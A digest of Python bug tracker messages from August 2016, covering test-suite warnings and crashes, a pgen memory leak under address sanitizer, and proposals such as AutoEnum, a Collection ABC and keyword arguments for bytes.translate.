bugs.python.org Wed Aug 17 17:19:44 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 21:19:44 +0000 Subject: [issue27789] test_asyncio Resource Warnings In-Reply-To: <1471468506.77.0.2823677848.issue27789@psf.upfronthosting.co.za> Message-ID: <1471468784.5.0.116827786403.issue27789@psf.upfronthosting.co.za> STINNER Victor added the comment: Duplicate of issue #27746. ---------- resolution: -> duplicate superseder: -> ResourceWarnings in test_asyncio _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 17:20:36 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 21:20:36 +0000 Subject: [issue27746] ResourceWarnings in test_asyncio In-Reply-To: <1471004022.68.0.202760199133.issue27746@psf.upfronthosting.co.za> Message-ID: <1471468836.42.0.355170878347.issue27746@psf.upfronthosting.co.za> STINNER Victor added the comment: I marked the issue #272989 as a duplicate of this one. Copy of the msg272986 by Terry J. Reedy: 3.6, Windows 10, debug build. The following appeared before and after pulling and rebuilding today. I am reporting as per Victor's request on pydev list. 0:00:22 [ 52/402] test_asyncio passed F:\Python\dev\36\lib\asyncio\sslproto.py:329: ResourceWarning: unclosed transport source=self) F:\Python\dev\36\lib\asyncio\sslproto.py:329: ResourceWarning: unclosed transport source=self) F:\Python\dev\36\lib\asyncio\sslproto.py:329: ResourceWarning: unclosed transport source=self) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 17:21:21 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 17 Aug 2016 21:21:21 +0000 Subject: [issue27790] test_distutils spews linker messages on Windows Message-ID: <1471468881.84.0.977496152734.issue27790@psf.upfronthosting.co.za> New submission from Terry J. Reedy: 3.6, Win10, VS recently reinstalled to 'Update 3'. I believe these messages are somewhat new. 0:01:00 [111/402] test_distutils failed (env changed) xxmodule.c Creating library C:\Users\Terry\AppData\Local\Temp\tmpbjffnmc3\Debug\Users\Terry\AppData\Local\Temp\tmpbjffnmc3\xx_d.cp36-win32.lib and object C:\Users\Terry\AppData\Local\Temp\tmpbjffnmc3\Debug\Users\Terry\AppData\Local\Temp\tmpbjffnmc3\xx_d.cp36-win32.exp LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance foo.c Creating library C:\Users\Terry\AppData\Local\Temp\tmp7302jrpo\tempt\Users\Terry\AppData\Local\Temp\tmp9132twos\foo_d.cp36-win32.lib and object C:\Users\Terry\AppData\Local\Temp\tmp7302jrpo\tempt\Users\Terry\AppData\Local\Temp\tmp9132twos\foo_d.cp36-win32.exp LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance foo.c Creating library C:\Users\Terry\AppData\Local\Temp\tmp7302jrpo\tempt\Users\Terry\AppData\Local\Temp\tmp9132twos\foo_d.cp36-win32.lib and object C:\Users\Terry\AppData\Local\Temp\tmp7302jrpo\tempt\Users\Terry\AppData\Local\Temp\tmp9132twos\foo_d.cp36-win32.exp LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance xxmodule.c Creating library C:\Users\Terry\AppData\Local\Temp\tmp9hq4ci8e\Debug\Users\Terry\AppData\Local\Temp\tmp9hq4ci8e\xx_d.cp36-win32.lib and object C:\Users\Terry\AppData\Local\Temp\tmp9hq4ci8e\Debug\Users\Terry\AppData\Local\Temp\tmp9hq4ci8e\xx_d.cp36-win32.exp LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance foo.c Creating library C:\Users\Terry\AppData\Local\Temp\tmp3qv0ulce\tempt\Users\Terry\AppData\Local\Temp\tmph1jy_aqh\foo_d.cp36-win32.lib and object C:\Users\Terry\AppData\Local\Temp\tmp3qv0ulce\tempt\Users\Terry\AppData\Local\Temp\tmph1jy_aqh\foo_d.cp36-win32.exp LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance foo.c Creating library C:\Users\Terry\AppData\Local\Temp\tmp3qv0ulce\tempt\Users\Terry\AppData\Local\Temp\tmph1jy_aqh\foo_d.cp36-win32.lib and object C:\Users\Terry\AppData\Local\Temp\tmp3qv0ulce\tempt\Users\Terry\AppData\Local\Temp\tmph1jy_aqh\foo_d.cp36-win32.exp LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance xxmodule.c Creating library build\temp.win32-3.6-pydebug\Debug\xx_d.cp36-win32.lib and object build\temp.win32-3.6-pydebug\Debug\xx_d.cp36-win32.exp LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance F:\Python\dev\36\build\test_python_3596>exit 1 F:\Python\dev\36\build\test_python_3596>exit 0 Warning -- files was modified by test_distutils ---------- components: Distutils, Tests, Windows messages: 272991 nosy: dstufft, eric.araujo, haypo, paul.moore, steve.dower, terry.reedy, tim.golden, zach.ware priority: normal severity: normal status: open title: test_distutils spews linker messages on Windows _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 17:24:31 2016 From: report at bugs.python.org (Ned Deily) Date: Wed, 17 Aug 2016 21:24:31 +0000 Subject: [issue27594] Assertion failure when running "test_ast" tests with coverage. In-Reply-To: <1469226726.58.0.53789092151.issue27594@psf.upfronthosting.co.za> Message-ID: <1471469071.51.0.0400173135556.issue27594@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the report. It looks the assert error is triggered by the new test case added in 59638baee25e for Issue13436. Since that test case was only added for 3.6, I've only applied Ivan's suggested fix for 3.6 as well, although you could trigger the same assert in earlier releases. Thanks, Ivan! ---------- nosy: +ned.deily resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 17:32:38 2016 From: report at bugs.python.org (Glyph Lefkowitz) Date: Wed, 17 Aug 2016 21:32:38 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1471469558.3.0.15139100055.issue27706@psf.upfronthosting.co.za> Glyph Lefkowitz added the comment: For what it's worth, I don't much care whether this is fixed or not; I ended up wanting to leak less information from the RNG output anyway so I wrote this: https://gist.github.com/glyph/ceca96100a3049fefea6f2035abbd9ea but I felt like it should be reported. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 17:34:04 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Wed, 17 Aug 2016 21:34:04 +0000 Subject: [issue27594] Assertion failure when running "test_ast" tests with coverage. In-Reply-To: <1469226726.58.0.53789092151.issue27594@psf.upfronthosting.co.za> Message-ID: <1471469644.32.0.424225469866.issue27594@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Ned, thank you for applying the patch! I have discovered this same issue accidentally while playing with possible implementations of PEP 526. It appeared as a failure in test_sys_settrace in my fork. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 17:42:51 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 21:42:51 +0000 Subject: [issue27791] test_threading: test_threads_join_2() failed with "Fatal Python error: Py_EndInterpreter: not the last thread" Message-ID: <1471470171.51.0.873764356804.issue27791@psf.upfronthosting.co.za> New submission from STINNER Victor: http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.x%20Shared%203.x/builds/4769/steps/test/logs/stdio 0:00:46 [ 41/402] test_threading crashed Fatal Python error: Py_EndInterpreter: not the last thread Current thread 0x0000000802006400 (most recent call first): File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/support/__init__.py", line 2445 in run_in_subinterp File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/test_threading.py", line 877 in test_threads_join_2 File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/case.py", line 600 in run File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/case.py", line 648 in __call__ File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/suite.py", line 122 in run File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/suite.py", line 84 in __call__ File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/suite.py", line 122 in run File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/suite.py", line 84 in __call__ File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/suite.py", line 122 in run File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/suite.py", line 84 in __call__ File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/runner.py", line 176 in run File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/support/__init__.py", line 1810 in _run_suite File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/support/__init__.py", line 1844 in run_unittest File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/runtest.py", line 179 in test_runner File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/runtest.py", line 180 in runtest_inner File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/runtest.py", line 133 in runtest File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/runtest_mp.py", line 71 in run_tests_slave File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/main.py", line 472 in _main File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/main.py", line 465 in main File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/main.py", line 527 in main File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/regrtest.py", line 46 in _main File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/regrtest.py", line 50 in File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/runpy.py", line 85 in _run_code File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/runpy.py", line 184 in _run_module_as_main Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/runpy.py", line 184, in _run_module_as_main "__main__", mod_spec) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/runpy.py", line 85, in _run_code exec(code, run_globals) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/__main__.py", line 2, in main() File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/main.py", line 527, in main Regrtest().main(tests=tests, **kwargs) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/main.py", line 465, in main self._main(tests, kwargs) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/main.py", line 485, in _main self.run_tests() File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/main.py", line 413, in run_tests run_tests_multiprocess(self) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/libregrtest/runtest_mp.py", line 221, in run_tests_multiprocess raise Exception(msg) Exception: Child error on test_threading: Exit code -6 *** Error code 1 ---------- components: Tests keywords: buildbot messages: 272995 nosy: haypo, koobs priority: normal severity: normal status: open title: test_threading: test_threads_join_2() failed with "Fatal Python error: Py_EndInterpreter: not the last thread" versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 18:33:52 2016 From: report at bugs.python.org (Ned Deily) Date: Wed, 17 Aug 2016 22:33:52 +0000 Subject: [issue27780] Memory leak during Python build (from git c3ff7e7) on Debian 8.5 x64 In-Reply-To: <1471385936.65.0.896010126062.issue27780@psf.upfronthosting.co.za> Message-ID: <1471473232.58.0.908914602224.issue27780@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the report but, AFAIK, pgen is only used during the build of Python and pgen is not installed (by "make install"). This doesn't seem like it is worth worrying about. Or am I missing something? Feel free to reopen if so or if someone comes up with a patch. ---------- nosy: +ned.deily priority: normal -> low resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 18:37:19 2016 From: report at bugs.python.org (Amaury Forgeot d'Arc) Date: Wed, 17 Aug 2016 22:37:19 +0000 Subject: [issue26750] Mock autospec does not work with subclasses of property() In-Reply-To: <1460585586.67.0.646853664072.issue26750@psf.upfronthosting.co.za> Message-ID: <1471473439.75.0.704094602283.issue26750@psf.upfronthosting.co.za> Amaury Forgeot d'Arc added the comment: inspect.isdatadescriptor() is better indeed. (I was initially working on an old version of mock.py which does not import inspect, and I did not want to add the dependency there). - inspect uses hasattr(type(obj)) instead of hasatr(obj). This is better, (but does not work for 2.x old-style classes) - my patch tested for __del__... this is completely wrong, it should have been __delete__. oops. inspect.isdatadescriptor() does not test for __delete__. This is insaccurate, but I doubt it will ever matter. This is only possible for Python-defined descriptors, the C implementation always exposes both __set__ and __delete__ when tp_set is filled. IOW, I'm happy with the current state. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 18:37:58 2016 From: report at bugs.python.org (geeknik) Date: Wed, 17 Aug 2016 22:37:58 +0000 Subject: [issue27780] Memory leak during Python build (from git c3ff7e7) on Debian 8.5 x64 In-Reply-To: <1471385936.65.0.896010126062.issue27780@psf.upfronthosting.co.za> Message-ID: <1471473478.93.0.962763948761.issue27780@psf.upfronthosting.co.za> geeknik added the comment: FYI, I was only able to build Python with ASAN by passing ASAN_OPTIONS=detect_leaks=0 along with the make command, otherwise ASAN wanted to stop the build process as soon as it detected this leak. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 18:40:09 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 17 Aug 2016 22:40:09 +0000 Subject: [issue26750] Mock autospec does not work with subclasses of property() In-Reply-To: <1460585586.67.0.646853664072.issue26750@psf.upfronthosting.co.za> Message-ID: <1471473609.71.0.134107199283.issue26750@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- stage: commit review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 18:47:38 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 17 Aug 2016 22:47:38 +0000 Subject: [issue27790] test_distutils spews linker messages on Windows In-Reply-To: <1471468881.84.0.977496152734.issue27790@psf.upfronthosting.co.za> Message-ID: <1471474058.08.0.670548879312.issue27790@psf.upfronthosting.co.za> Steve Dower added the comment: It certainly looks like more than we used to get... Ideally we'd capture the output from the build process and only write it out if the test failed. I'm not entirely sure why that isn't happening here. The warnings themselves are harmless (you get a nearly identical warning if you *don't* put /LTCG on the command line and need it - I'd guess there was a stalemate between two factions on the compiler team at some point and they resolved it with this warning). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 18:52:41 2016 From: report at bugs.python.org (Ned Deily) Date: Wed, 17 Aug 2016 22:52:41 +0000 Subject: [issue27780] memory leaks in pgen build step abort build with address sanitizer enabled In-Reply-To: <1471385936.65.0.896010126062.issue27780@psf.upfronthosting.co.za> Message-ID: <1471474361.24.0.87952071069.issue27780@psf.upfronthosting.co.za> Ned Deily added the comment: OK, that's not unreasonable and I see there have been earlier issues opened and addressed for similar problems (e.g. Issue18695). Perhaps someone will want to dive in. ---------- resolution: wont fix -> stage: resolved -> needs patch status: closed -> open title: Memory leak during Python build (from git c3ff7e7) on Debian 8.5 x64 -> memory leaks in pgen build step abort build with address sanitizer enabled versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 19:03:16 2016 From: report at bugs.python.org (Mark Lawrence) Date: Wed, 17 Aug 2016 23:03:16 +0000 Subject: [issue18295] Possible integer overflow in PyCode_New() In-Reply-To: <1372108745.44.0.114375127897.issue18295@psf.upfronthosting.co.za> Message-ID: <1471474996.68.0.483770403755.issue18295@psf.upfronthosting.co.za> Changes by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 19:52:04 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 17 Aug 2016 23:52:04 +0000 Subject: [issue27784] Random failure of test_TCPServer() of test.test_socketserver.SocketServerTest and test_handle_accept() of test.test_asyncore.TestAPI_UseIPv6Select on FreeBSD buildbots In-Reply-To: <1471422222.08.0.731040607027.issue27784@psf.upfronthosting.co.za> Message-ID: <1471477924.12.0.716776789073.issue27784@psf.upfronthosting.co.za> Martin Panter added the comment: I think I have seen these kind of errors pop up randomly on various tests on Free BSD buildbots (at least in the last few months or so). Are the buildbots so overloaded that they drop localhost connections? Or are localhost TCP connections generally just that unreliable on Free BSD? Or is something else going on? I?m not faimilar with the OS. This only seems to affect 3.6, not the equivalent 3.5 buildbot. ---------- nosy: +martin.panter versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 19:53:29 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 17 Aug 2016 23:53:29 +0000 Subject: [issue27791] test_threading: test_threads_join_2() failed with "Fatal Python error: Py_EndInterpreter: not the last thread" In-Reply-To: <1471470171.51.0.873764356804.issue27791@psf.upfronthosting.co.za> Message-ID: <1471478009.14.0.415337436553.issue27791@psf.upfronthosting.co.za> Martin Panter added the comment: I just happened to notice this failure on 3.5 as well: http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.x%20Shared%203.5/builds/791/steps/test/logs/stdio ---------- nosy: +martin.panter versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 19:56:22 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 17 Aug 2016 23:56:22 +0000 Subject: [issue24773] Implement PEP 495 (Local Time Disambiguation) In-Reply-To: <1438456647.64.0.191464539374.issue24773@psf.upfronthosting.co.za> Message-ID: <20160817235619.23268.91382.0CDC41BA@psf.io> Roundup Robot added the comment: New changeset 617104a6b759 by Alexander Belopolsky in branch 'default': Issue #24773: Include Tallinn 1999-10-31 transition in tests. https://hg.python.org/cpython/rev/617104a6b759 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 20:07:11 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 18 Aug 2016 00:07:11 +0000 Subject: [issue27787] Avoid test_main() in test_httplib; gc.collect() dangling threads In-Reply-To: <1471444416.58.0.403066422395.issue27787@psf.upfronthosting.co.za> Message-ID: <1471478831.98.0.28888905347.issue27787@psf.upfronthosting.co.za> Martin Panter added the comment: Yes I agree it would make sense to separate the test_httplib changes from the general change. I thought this task would be a very easy change, and noticed it wasn?t that simple the last minute. I would like to adjust the cleanup call to self.addCleanup(thread.join, float(1)) That should be a better equivalent to what @reap_threads does. Or I can just use @reap_threads directly on test_response_fileno(), if people prefer. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 20:43:44 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 18 Aug 2016 00:43:44 +0000 Subject: [issue27643] test_ctypes fails on AIX with xlc In-Reply-To: <1469718089.88.0.404760174195.issue27643@psf.upfronthosting.co.za> Message-ID: <1471481024.97.0.223027195692.issue27643@psf.upfronthosting.co.za> Martin Panter added the comment: Michael, byref() is just a helper for passing an object?s address to a C function. Calling func(byref(b), ...) in Python is equivalent to the C code unpack_bitfields(&b, ...) I still think the root problem is in unpack_bitfields(). When compiled with XLC, your experiments confirm that it always returns unsigned values, and with GCC, it returns signed values. It looks like you can detect XLC with the __IBMC__ and __xlC__ macros (not sure if there is a practical difference). So perhaps we can fix this with #ifndef __xlC__ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 20:43:53 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 18 Aug 2016 00:43:53 +0000 Subject: [issue27643] test_ctypes fails on AIX with xlc In-Reply-To: <1469718089.88.0.404760174195.issue27643@psf.upfronthosting.co.za> Message-ID: <1471481033.34.0.247215044338.issue27643@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 20:53:00 2016 From: report at bugs.python.org (David Hagen) Date: Thu, 18 Aug 2016 00:53:00 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471481580.18.0.0137674541051.issue26988@psf.upfronthosting.co.za> David Hagen added the comment: > Secondarily, the doesn't seem to be any use case that can't be readily covered by the existing classes. The use case that doesn't have a clean interface in 3.5 at the moment is the most common use case of enums: just a collection of named objects of given type; I don't care about the values because they don't really have values apart from their object identities. When writing enums in Rust, Swift, C#, etc., the bare identifier not only saves typing--it allows the developer to explicitly indicate that the underlying value has no meaning. (It may be better to use "object()" rather than an integer on AutoEnum, but that is not very important.) It was said that Python has this feature already: > Yes, Python 3.4 too: Animal = Enum('Animal', 'ant bee cat dog') I will concede that this can do what I want. I hope others will concede that this is not a clean interface. The class name is duplicated and the members are regexed out of a space-delimited string. This same argument could be made to deprecate the unnecessary "class" keyword in favor of the "type" function. I will also concede that there is some deep magic going on in AutoEnum and that magic should be avoided when it obscures. I personally think the only people who will be truly surprised will be those who already know Python at a deep enough level to know that deep magic must be required here. Everyone else will see "Enum" and a list of bare identifiers, and correctly conclude that this is your basic enum from everyone other language. Perhaps an ideal solution would be an enum keyword: enum PrimaryColor: red blue green But that's not happening ever. The next best solution is the current implementation: class PrimaryColor(AutoEnum): red blue green But because of the magic, it only barely beats out what I think is the other great solution already mentioned here: class PrimaryColor(AutoEnum): red = () blue = () green = () These two solutions are isomorphic. Both save the developer from having to provide a (possibly meaningless) value. Both let docstrings be added. Both provide the ability to reorganize without renumbering. The last one trades magic for boilerplate. I'll keep using them from the aenum package if they don't make it into 3.6, but I think this is a fundamental enough construct that it belongs in the standard library. It is hard to convince tool maintainers to fully support these until they are blessed here. ---------- nosy: +David Hagen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 20:54:21 2016 From: report at bugs.python.org (Berker Peksag) Date: Thu, 18 Aug 2016 00:54:21 +0000 Subject: [issue27789] test_asyncio Resource Warnings In-Reply-To: <1471468506.77.0.2823677848.issue27789@psf.upfronthosting.co.za> Message-ID: <1471481661.82.0.0280235749791.issue27789@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 20:54:24 2016 From: report at bugs.python.org (wevsty) Date: Thu, 18 Aug 2016 00:54:24 +0000 Subject: [issue27749] multprocessing errors on Windows: WriteFile() argument 1 must be int, not None; OSError: handle is closed In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471481664.21.0.170988254802.issue27749@psf.upfronthosting.co.za> wevsty added the comment: A similar situation also occurs in the following Linux?A similar situation on stackoverflow http://stackoverflow.com/questions/29277150/python-3-4-multiprocessing-bug-on-lock-acquire-typeerror-integer-required ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 21:00:28 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 18 Aug 2016 01:00:28 +0000 Subject: [issue27506] make bytes/bytearray delete a keyword argument In-Reply-To: <1468403337.28.0.33019551319.issue27506@psf.upfronthosting.co.za> Message-ID: <1471482028.98.0.695620864739.issue27506@psf.upfronthosting.co.za> Martin Panter added the comment: I can look at enhancing the tests at some stage, but it isn?t a high priority for me. Regarding translate() with no arguments, it makes sense if you see it as a kind of degenerate case of neither using a translation table, nor any set of bytes to delete: x.translate() == x.translate(None, b"") I admit it reads strange and probably isn?t useful. If people dislike it, it might be easiest to just add the keyword support and keep the first parameter as mandatory: without_nulls = bytes_with_nulls.translate(None, delete=b"\x00") ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 21:39:43 2016 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 18 Aug 2016 01:39:43 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: <1469288809.56.0.543825422436.issue27598@psf.upfronthosting.co.za> Message-ID: <1471484383.36.0.725660680614.issue27598@psf.upfronthosting.co.za> Guido van Rossum added the comment: Ping -- I'd really like to see this happening, with "Collection" as the name. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 22:26:32 2016 From: report at bugs.python.org (Ned Deily) Date: Thu, 18 Aug 2016 02:26:32 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1471487192.62.0.517921685537.issue27714@psf.upfronthosting.co.za> Ned Deily added the comment: "Could you try the comment out test of macosx call for test_autocomplete (around line 30 to 35) in 2.7 and 3.5?" Commenting out the mac.setupApp call in the test setup class did not appear to affect the running of the tests for either 2.7 or 3.5. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 00:14:23 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 18 Aug 2016 04:14:23 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1471493663.11.0.157350354148.issue27558@psf.upfronthosting.co.za> Xiang Zhang added the comment: Victor, upload a new patch, changing the test case to the approach you prefer. ;) ---------- Added file: http://bugs.python.org/file44137/issue27558_v3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 02:08:47 2016 From: report at bugs.python.org (Neil Girdhar) Date: Thu, 18 Aug 2016 06:08:47 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: <1469288809.56.0.543825422436.issue27598@psf.upfronthosting.co.za> Message-ID: <1471500527.37.0.142635123325.issue27598@psf.upfronthosting.co.za> Neil Girdhar added the comment: @gvanrossum is there any reason that subclasshook is implemented by overriding instead of cooperation? E.g.,: class Sized(metaclass=ABCMeta): @classmethod def __subclasshook__(cls, C): return (super().__subclasshook__(C) and any("__len__" in B.__dict__ for B in C.__mro__)) etc. And then Collection does not need to implement subclasshook since its base classes cooperate? ---------- nosy: +neil.g _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 02:15:22 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 18 Aug 2016 06:15:22 +0000 Subject: [issue27506] make bytes/bytearray translate's delete a keyword argument In-Reply-To: <1468403337.28.0.33019551319.issue27506@psf.upfronthosting.co.za> Message-ID: <1471500922.67.0.855676530096.issue27506@psf.upfronthosting.co.za> Xiang Zhang added the comment: Martin, I write the v3 patch to apply the comments. It preserves *table* as mandatory and move the test_translate to BaseBytesTest to remove duplicates. ---------- title: make bytes/bytearray delete a keyword argument -> make bytes/bytearray translate's delete a keyword argument Added file: http://bugs.python.org/file44138/bytes_translate_delete_as_keyword_arguments_v3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 02:15:23 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 18 Aug 2016 06:15:23 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <20160818061520.72548.3231.28ABE18E@psf.io> Roundup Robot added the comment: New changeset ab0039b8a80e by Serhiy Storchaka in branch 'default': Issue #16764: Move NEWS entry to correct section and remove too strict test. https://hg.python.org/cpython/rev/ab0039b8a80e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 02:17:18 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 18 Aug 2016 06:17:18 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1471501038.39.0.996562297441.issue16764@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: > Serhiy, the message added in Misc/NEWS should be in Library section not Core and Builtins section. Done. And addressed Victor's reasonable comment. Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 02:30:51 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 18 Aug 2016 06:30:51 +0000 Subject: [issue27749] multprocessing errors on Windows: WriteFile() argument 1 must be int, not None; OSError: handle is closed In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471501851.56.0.728247927094.issue27749@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- nosy: +davin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 04:19:25 2016 From: report at bugs.python.org (Armin Rigo) Date: Thu, 18 Aug 2016 08:19:25 +0000 Subject: [issue27573] code.interact() should print an exit message In-Reply-To: <1468932940.76.0.523388198835.issue27573@psf.upfronthosting.co.za> Message-ID: <1471508365.2.0.524826501427.issue27573@psf.upfronthosting.co.za> Armin Rigo added the comment: Can we make the exit message optional? Otherwise PyPy will need to patch code.py to add the option to not display this message when used as the normal REPL (yes, PyPy uses the plain code.py as its built-in REPL). ---------- nosy: +arigo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 04:30:10 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 18 Aug 2016 08:30:10 +0000 Subject: [issue27746] ResourceWarnings in test_asyncio In-Reply-To: <1471004022.68.0.202760199133.issue27746@psf.upfronthosting.co.za> Message-ID: <1471509010.75.0.515903804831.issue27746@psf.upfronthosting.co.za> Xiang Zhang added the comment: >From my observations, this is due to transport is forgotten to close in test_connect_accepted_socket. 